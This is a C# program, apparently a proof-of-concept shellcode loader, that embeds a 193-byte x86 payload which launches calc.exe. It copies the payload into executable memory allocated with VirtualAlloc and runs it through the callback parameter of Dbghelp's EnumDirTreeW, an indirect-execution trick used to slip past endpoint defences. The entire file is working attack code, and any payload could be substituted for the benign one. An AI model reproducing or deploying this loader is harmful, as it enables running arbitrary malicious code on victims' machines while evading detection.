Program.cs

using System;
using System.Runtime.InteropServices;


class Program
{
    static byte[] op = new byte[193]
    {
        0xfc, 0xe8, 0x82, 0x00, 0x00, 0x00,
        0x60, 0x89, 0xe5, 0x31, 0xc0, 0x64, 0x8b, 0x50, 0x30, 0x8b, 0x52, 0x0c,
        0x8b, 0x52, 0x14, 0x8b, 0x72, 0x28, 0x0f, 0xb7, 0x4a, 0x26, 0x31, 0xff,
        0xac, 0x3c, 0x61, 0x7c, 0x02, 0x2c, 0x20, 0xc1, 0xcf, 0x0d, 0x01, 0xc7,
        0xe2, 0xf2, 0x52, 0x57, 0x8b, 0x52, 0x10, 0x8b, 0x4a, 0x3c, 0x8b, 0x4c,
        0x11, 0x78, 0xe3, 0x48, 0x01, 0xd1, 0x51, 0x8b, 0x59, 0x20, 0x01, 0xd3,
        0x8b, 0x49, 0x18, 0xe3, 0x3a, 0x49, 0x8b, 0x34, 0x8b, 0x01, 0xd6, 0x31,
        0xff, 0xac, 0xc1, 0xcf, 0x0d, 0x01, 0xc7, 0x38, 0xe0, 0x75, 0xf6, 0x03,
        0x7d, 0xf8, 0x3b, 0x7d, 0x24, 0x75, 0xe4, 0x58, 0x8b, 0x58, 0x24, 0x01,
        0xd3, 0x66, 0x8b, 0x0c, 0x4b, 0x8b, 0x58, 0x1c, 0x01, 0xd3, 0x8b, 0x04,
        0x8b, 0x01, 0xd0, 0x89, 0x44, 0x24, 0x24, 0x5b, 0x5b, 0x61, 0x59, 0x5a,
        0x51, 0xff, 0xe0, 0x5f, 0x5f, 0x5a, 0x8b, 0x12, 0xeb, 0x8d, 0x5d, 0x6a,
        0x01, 0x8d, 0x85, 0xb2, 0x00, 0x00, 0x00, 0x50, 0x68, 0x31, 0x8b, 0x6f,
        0x87, 0xff, 0xd5, 0xbb, 0xf0, 0xb5, 0xa2, 0x56, 0x68, 0xa6, 0x95, 0xbd,
        0x9d, 0xff, 0xd5, 0x3c, 0x06, 0x7c, 0x0a, 0x80, 0xfb, 0xe0, 0x75, 0x05,
        0xbb, 0x47, 0x13, 0x72, 0x6f, 0x6a, 0x00, 0x53, 0xff, 0xd5, 0x63, 0x61,
        0x6c, 0x63, 0x2e, 0x65, 0x78, 0x65, 0x00
    };

    static void Main(string[] args)
    {
        IntPtr address = VirtualAlloc(IntPtr.Zero, (uint)op.Length, 0x3000, 0x40);
        Marshal.Copy(op, 0, address, op.Length);

        SymInitialize(GetCurrentProcess(), null, true);

        string dummy = "";
        EnumDirTreeW(GetCurrentProcess(), "C:\\Windows", "*.log", dummy, address, IntPtr.Zero);
    }

    [DllImport("kernel32.dll", SetLastError = true)]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);

    [DllImport("Dbghelp.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern bool SymInitialize(IntPtr hProcess, string UserSearchPath, bool fInvadeProcess);

    [DllImport("Dbghelp.dll", SetLastError = true, CharSet = CharSet.Unicode)]
    public static extern bool EnumDirTreeW(IntPtr hProcess, string lpDirectory, string lpFilePattern,
        string lpExcludePattern, IntPtr pCallbackFunc, IntPtr lParam);

    [DllImport("kernel32.dll", SetLastError = true)]
    static extern IntPtr GetCurrentProcess();
}